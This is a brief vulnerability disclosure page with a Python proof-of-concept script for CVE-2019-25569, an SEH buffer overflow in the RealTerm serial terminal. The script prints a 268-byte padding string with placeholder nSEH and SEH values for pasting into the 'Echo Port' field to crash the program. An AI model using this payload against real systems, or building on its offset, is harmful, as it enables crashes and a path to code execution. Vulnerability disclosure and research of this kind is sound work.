CVE-2019-25569: RealTerm堆栈缓冲区溢出漏洞

import sys # PoC for CVE-2019-25569: RealTerm Serial Terminal SEH Overflow # This script generates a malicious string to crash the application. def generate_payload(): # Padding to reach the SEH structure (268 bytes) padding = b"A" * 268 # Overwriting the Next SEH and SE Handler addresses # Using 'BBBB' for nSEH and 'CCCC' for SEH to demonstrate the crash nseh = b"BBBB" seh = b"CCCC" # Combine the parts to form the payload payload = padding + nseh + seh return payload if __name__ == "__main__": payload = generate_payload() print(f"[*] Payload length: {len(payload)}") print(f"[*] Copy the following string and paste it into the 'Echo Port' field:") print(payload.decode('latin-1'))